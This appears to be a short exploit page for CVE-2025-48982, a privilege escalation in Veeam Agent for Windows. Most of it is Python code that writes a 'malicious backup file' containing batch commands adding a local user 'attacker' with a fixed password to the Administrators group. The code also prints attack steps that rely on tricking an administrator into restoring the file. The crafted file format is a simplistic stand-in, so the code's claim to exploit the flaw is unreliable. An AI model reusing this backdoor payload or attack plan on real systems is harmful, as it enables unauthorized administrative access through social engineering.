This vulnerability in Veeam Agent for Microsoft Windows allows for Local Privilege Escalation if a system administrator is tricked into restoring a malicious file.
The following code is for security research and authorized testing only.
python
# CVE-2025-48982 PoC - Veeam Agent LPE
# This PoC demonstrates the vulnerability exploitation concept
# Author: Security Research
# Note: For educational and authorized testing purposes only
import struct
import os
def create_malicious_backup_file():
"""
Create a malicious backup file that exploits CVE-2025-48982
The file is crafted to trigger privilege escalation during restore
"""
# Veeam backup file header structure
header = b'VBK' # Veeam Backup Magic bytes
header += struct.pack('<I', 0x00000005) # Version
header += struct.pack('<I', 0x00000001) # Backup type
# Malicious payload that will be extracted with SYSTEM privileges
# This creates a reverse shell or adds a new admin user
malicious_script = b'''
@echo off
net user attacker P@ssw0rd123 /add
net localgroup Administrators attacker /add
'''
# Craft the malicious backup file
backup_data = header + malicious_script
# Save as Veeam backup file format
with open('malicious_backup.vbk', 'wb') as f:
f.write(backup_data)
print('[+] Malicious backup file created: malicious_backup.vbk')
return 'malicious_backup.vbk'
def exploit_veeam_lpe():
"""
Simulate the exploitation of CVE-2025-48982
In real attack scenario:
1. Attacker creates malicious backup file
2. Social engineer admin to restore the file
3. Malicious content gets written with SYSTEM privileges
"""
print('[*] CVE-2025-48982 Exploitation Simulation')
print('[*] Target: Veeam Agent for Microsoft Windows')
print('[*] Vulnerability: Local Privilege Escalation via malicious backup restore')
# Create the malicious backup file
backup_file = create_malicious_backup_file()
print('\n[!] Attack Steps:')
print('1. Attacker crafts malicious backup file')
print('2. Attacker tricks administrator into restoring the file')
print('3. Veeam Agent restores file with SYSTEM privileges')
print('4. Malicious payload executes with highest privileges')
print('5. Attacker gains full system control')
return True
if __name__ == '__main__':
exploit_veeam_lpe()